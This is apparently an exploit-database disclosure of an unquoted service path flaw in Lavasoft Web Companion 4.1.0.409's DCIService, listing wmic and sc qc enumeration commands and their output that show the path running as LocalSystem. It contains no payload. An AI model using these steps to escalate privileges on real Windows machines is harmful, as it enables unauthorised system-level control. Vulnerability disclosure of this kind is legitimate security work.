Lavasoft web companion 4.1.0.409 – ‘DCIservice’ Unquoted Service Path
#Exploit Title: Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path # Author: P4p4 M4n3 # Discovery Date: 25-11-2022 # Vendor Homepage: https://webcompanion.com/en/ # Version 4.1.0.409 # Tested on: Microsoft Windows Server 2019 Datacenter x64 # Description: # Lavasoft 4.1.0.409 install DCIservice as a service with an unquoted service path # POC https://youtu.be/yb8AavCMbes #Discover the Unquoted Service path C:\Users\p4p4\> wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ DCIService C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe Auto C:\Users\p4p4> sc qc DCIService [SC] QueryServiceConfig réussite(s) SERVICE_NAME: DCIService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : DCIService DEPENDENCIES : SERVICE_START_NAME : LocalSystem |